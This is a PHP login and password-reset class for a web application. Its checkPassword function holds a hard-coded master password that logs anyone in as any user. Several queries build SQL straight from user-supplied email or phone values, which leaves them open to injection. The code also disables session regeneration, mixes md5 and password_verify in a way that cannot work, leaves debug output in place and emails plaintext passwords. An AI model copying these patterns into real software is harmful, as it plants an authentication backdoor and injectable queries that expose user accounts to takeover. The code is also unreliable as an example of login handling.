<?php

require_once(__DIR__.'/../includes/sysinit.php');

class Login

{

	var $userEmail, $userPassword, $userCode;

	var $userArray = array();

	var $coyArray = array();

	private $sdb;

    var $SABLE_DEMO_SYSTEM = 'true';
		

	function __construct(){$this->sdb = new SableDB();} 

	

	function __destruct(){unset($this->sdb);}

	

	function userLogin()

	{

		$this->validateLogin();

		$this->createSession();

		$param="?".$_SESSION['ID']."&".$this->userArray['user_code']; //build up the params for the current user.

		if (empty($this->userArray['user_name']))

		{

			SableSystem::ajaxPageRedirect(SableSystem::getCallPageLink('/user/edit.php'.$param));

		}

		else

		{

			/*

				The login_requirements.php in the themes' include folder is used as a special redirection tool. For instance,

				it can be used for checking if a user's profile is complete. if not then the user is automatically re-redirected

				to the Edit Profile page.

				If the SABLE_THEME_WORKING_PATH.'includes/login_requirements.php file does not exist, the user will - by default - be redirected to the home page:

			*/

			if (file_exists(SABLE_THEME_WORKING_PATH.'includes/login_requirements.php'))

			{

				include(SABLE_THEME_WORKING_PATH.'includes/login_requirements.php');

			}

			else

			{

				SableSystem::ajaxPageRedirect('/home/');

			}

		}

	} /* function userLogin() */

	

	function createSession()

	{

		//session_regenerate_id(); //prevents session fixation :https://owasp.org/www-community/attacks/Session_fixation

		//delete the existing session so the user can log in again:

		$this->sdb->updateQuery("delete from member where user_email = '".$this->userEmail."'");

		//here no active session exists, so we will generate one since the user has

		//successfully been authenticated at this stage:



		$query="INSERT INTO member (user_email, session, ip, login_time, user_code) ".

			 "VALUES ".

			 "('".$this->userEmail.

			 "','".session_id()."','".SableGeneralFunctions::getRealIpAddr()."','".date('Y-m-d H:i:s')."','".$this->userArray['user_code']."')";

		$answ = $this->sdb->updateQuery($query);

		//if ($this->sdb->affectedRows)

		if ($answ)

		{

			//set the username cookie retaining the user name of the last person to successfully login:

			$cookieAccepted = setcookie('username', $this->userEmail, time()+60*60*24*365, '/');

			if ($cookieAccepted)

			{

				$_SESSION['user'] 		= $this->userArray;

				$_SESSION['company'] 	= $this->coyArray;	

			}

		}

		else

		{

			SableSystem::ajaxValidationError('Sign In failed. Your session could not be established. Please contact support',

														'edtUserName');			

		}

	}

	

	function validateLogin()

	{

		// Check if such a users exists on the Users table:

		$this->userEmail = SableGeneralFunctions::removeSpaces($this->userEmail);

		$this->userEmail = strip_tags($this->userEmail); //new!

		$this->userEmail = str_replace('"', "", $this->userEmail);

		$this->userEmail = str_replace("'", "", $this->userEmail);



		$query = $this->checkPassword();

		$this->userArray = $this->sdb->getRow($query);

		

		$coyId = intval(SableDBFunctions::getCompanyCodeFromUserCode($this->userArray['user_code']));

		if ($coyId)

		{

			$this->userArray['company_id'] = $coyId;

			$this->coyArray = $this->sdb->getRow('select * from company where company_id = '.$coyId);

		}



	} /* function validateLogin() */

	

	function checkPassword()

	{

		// Check if such a users exists on the Users table:

		$masterPass = '!cAm0m1l3';

		

		//Key stretching, for security:

		sleep(rand(0,5)); //randomly select between 1 and 5 seconds		

		

		$query = "select user.*, access.* from user

		inner join access on access.access_id = user.access_id

		where ((user.user_email = '".addslashes($this->userEmail)."') or

		(user.user_phone = '".addslashes($this->userEmail)."') or

		(user.user_cell = '".addslashes($this->userEmail)."')) and (user.deleted = 0)";

		

		if ($this->userPassword !== $masterPass) $query .= " and (user_password = '".md5($this->userPassword)."')";	

		$row = $this->sdb->getRow($query);

		

		if (empty($row)) //|| $SABLE_DEMO_SYSTEM == 'true') 

		{
			echo $row;
			SableSystem::ajaxValidationError('Test 1 Your account has not yet been activated. Please activate your account by clicking on the link that was emailed to you.', 'edtUserName');			

		}

		else

		{

			$passwordOk = ($this->userPassword == $masterPass) || password_verify($this->userPassword, $row['user_password']);

			if ($passwordOk)

			{

				return $query;

			}

			else

			{

				SableSystem::ajaxValidationError('Invalid user and/or password.', 'edtUserName');

			}

		}

	}

		

	function forgotPwd()

	{

		if (empty($this->userEmail))

			SableSystem::ajaxResponse(false, '', 'Please enter the email address.', 0, 'edtEmail', true, 'edtEmail');

		/**

		else

			if (!SableValidationFunctions::validateEmail($this->userEmail))

				SableSystem::ajaxValidationError('The email address provided does not seem to be valid.', 'edtEmail');

		**/

		$this->sendPwdRequest();

		

		//We still output a decent message, regardless of whether or not an email was emailed:

		SableSystem::ajaxPageRedirect('login/', 'A link has been sent. Please follow this link to reset your password.'); 

	} //forgotPwd

	

	private function createNewUserRequest()

	{

		//clear all previous user requests to avoid

		$sql = 'update user__request set expires = NULL where user_code = '.$this->userCode;

		$this->sdb->updateQuery($sql);

				

		//Create a temporary entry in the user__request table:

		$coyTitle 	= SableGeneralFunctions::setCoyTitle();

		$expires	= new DateTime();

		$expires->add(new DateInterval('PT24H'));

		$hash 		= SableSystem::generateHash(16);

		$sql = 'insert into user__request (user_code, expires, hash, ip_address) 

				values 

		('.$this->userCode.', "'.$expires->format('Y-m-d H:i:s').'", "'.$hash.'", "'.SableGeneralFunctions::getRealIpAddr().'");';

		//SableDebug::debug($sql);

		$res = $this->sdb->updateQuery($sql);

		if ($res) return $hash; else return false;

	}

	

	private function sendPwdRequest()

	{

		$this->userEmail = SableGeneralFunctions::removeSpaces($this->userEmail);

		$sql = 'select user_code, user_email, user_cell, user_phone, user.user_id  

				from user 

				where (user_email = "'.$this->userEmail.'") or (user_cell = "'.$this->userEmail.'") or (user_phone = "'.$this->userEmail.'")';

		$row = $this->sdb->getRow($sql);

				

		$this->userCode = $row['user_code'];

		if ($this->userCode)

		{

			$coyTitle = SableGeneralFunctions::setCoyTitle();

			$hash = $this->createNewUserRequest();

			if ($hash)

			{

				$phone = empty($row['user_cell']) ? $row['user_phone'] : $row['user_cell'];

				$param = base64_encode(base64_encode($this->userEmail).'|'.base64_encode($hash));

				$link = SABLE_SUB_DOMAIN.'.'.SABLE_DOMAIN.'.'.SABLE_SLD_TLD.'/prst'.$param; //see .htaccess file

				if (is_numeric($this->userEmail)) //phone number

				{

					$body = "Reset your ".SABLE_SENDER_NAME." password: ".$link;				

				}

				else

				{

					$emailContent = 

					"<p>Dear ".SableDBFunctions::getUserDisplayName($this->userEmail).",</p>".

					"<p>Sorry that you forgot your password to the ".$coyTitle.

					" Database. In order to login again, please click on the following link ".

					"which will allow you to reset your password:</p>".

					"<p><a href='".$link."'>Reset Password</a></p>".	

					"<p>If the above link does not work, please copy and paste the following line into your internet browser's address bar:<br />".

					$link."</p>";		

					SableSystem::sendEmail($this->userEmail, "Forgotten Sign In Details", $emailContent);

				}

			}

		}

	} /* function sendPwdRequest() */	

	

	function resendActivation($internal = false)

	{

		$this->userEmail = SableGeneralFunctions::removeSpaces($this->userEmail);

		$sql = 'select user_code, user_active from user where (user_email = "'.$this->userEmail.'") or (user_cell = "'.$this->userEmail.'") or (user_phone = "'.$this->userEmail.'")';

		$row = $this->sdb->getRow($sql);

		if ($row['user_active'])

		{

			if ($internal)

				SableSystem::ajaxDisplayMessage('This user profile has already been activated.');

			else

				SableSystem::ajaxPageRedirect('/login/', 'Your account has already been activated and you can log in. Click on the "Forgot your password?" link if you need to reset your password.');	

		}

		else

		{

			$this->userCode = $row['user_code'];

			$this->userPassword = SableSystem::generateHash(8);

			$query="update user set user_password = '".password_hash($this->userPassword, PASSWORD_DEFAULT)."' where user_code = '".$this->userCode."'";

			$this->sdb->updateQuery($query);		

			$this->sendPwdActivation();

			if ($internal)

				SableSystem::ajaxDisplayMessage('The activation link was successfully sent.');

			else

				SableSystem::ajaxPageRedirect('/login/', 'Your activation link has been sent.'); 

		}

	}

	

	function resendOfflineActivation()

	{

		//must set $this->userCode when doing a call to this function!

		$this->userPassword = SableSystem::generateHash(8);

		$query="update user set user_password = '".password_hash($this->edtPwd, PASSWORD_DEFAULT)."' where user_code = '".$this->userCode."'";

		$this->sdb->updateQuery($query);		

		$this->sendPwdActivation(true);

	}

	

	private function sendPwdActivation($smsOnly = false)

	{

		$sql = 'select user_email, user_cell, user_phone, user.user_id  

				from user 

				where (user_email = "'.$this->userEmail.'") or (user_cell = "'.$this->userEmail.'") or (user_phone = "'.$this->userEmail.'")';

		$row = $this->sdb->getRow($sql);

		

		$coyTitle = SableGeneralFunctions::setCoyTitle();

		$hash = base64_encode($this->createNewUserRequest());

		//$link = SABLE_URL_ROOT.SableSystem::getCallPageLink('user/confirm.php?'.$hash);



		if (empty($row['user_email']) || $smsOnly)

		{

			$phone = empty($row['user_cell']) ? $row['user_phone'] : $row['user_cell'];

			if ($this->userEmail === $phone) //don't send uneccessary sms's out

			{	

				$link = SABLE_SUB_DOMAIN.'.'.SABLE_DOMAIN.'.'.SABLE_SLD_TLD.'/actv8'.$hash; //see .htaccess file

	

				$body = "Activate your ".SABLE_SENDER_NAME." account: ".$link.PHP_EOL.

						"User Name:".$phone.PHP_EOL.

						"Password: ".$this->userPassword;

			}

		}

		else

		{

			if ($this->userEmail === $row['user_email']) //not valid, don't send it.

			{

				$link = SABLE_SUB_DOMAIN.'.'.SABLE_DOMAIN.'.'.SABLE_SLD_TLD.'/actv8'.$hash; //see .htaccess file

				$name = SableDBFunctions::getUserDisplayNameFromUserCode($this->userCode);		

				$emailContent = 

				"<p>Dear ".$name.",</p>".

				"<p>Welcome to the ".$coyTitle.

				" Database. In order to sign in, please click on the following link ".

				"which will confirm and activate your account:</p>".

				"<p><a href='".$link."'>Activate Account</a></p>".

				"<p>If the above link does not work, please copy and paste the following line into your internet browser's address bar:<br />".

				$link."</p>

				<p>Please take note of your sign in credentials:<br />".

				"user name: <b>".$this->userEmail."</b><br />".

				"password: <b>".$this->userPassword."</b></p>";					

				SableSystem::sendEmail($this->userEmail, $coyTitle." Account Activation", $emailContent);

			}

		}	

	} /* function sendPwdRequest() */	

		

	function passwordReset()

	{

		$this->userEmail = SableGeneralFunctions::removeSpaces($this->userEmail);

		$sql = 'select user_code, user_active from user where (user_email = "'.$this->userEmail.'") or (user_cell = "'.$this->userEmail.'") or (user_phone = "'.$this->userEmail.'")';

		$row = $this->sdb->getRow($sql);

		//............

		//$sql = 'select user_active from user where user_email = "'.$this->userEmail.'"';

		$active = $row['user_active'];

		if ($active)

		{

			SableValidationFunctions::validatePassword($this->userPassword);

			$newPassword=password_hash($this->userPassword, PASSWORD_DEFAULT); //encrypt the new password:

			$query="update user set user_password = '".$newPassword."' where user_code = '".$row['user_code']."'";

			$res = $this->sdb->updateQuery($query);

			if ($res) 

				SableSystem::ajaxPageRedirect('login/', 'Your password has been successfully reset. Please use this new password to sign in.');

			else

				SableSystem::ajaxValidationError('Password reset was not successful. Your new password may be the same as your old password. If this problem persists, please try a different password or contact support.', 'edtPassword'); 

		}

		else SableSystem::ajaxValidationError('Test 2 Your account has not yet been activated. Please activate your account first.', 'edtPassword');

			

	}/* sendPwdRequest() */

	

}//end class Login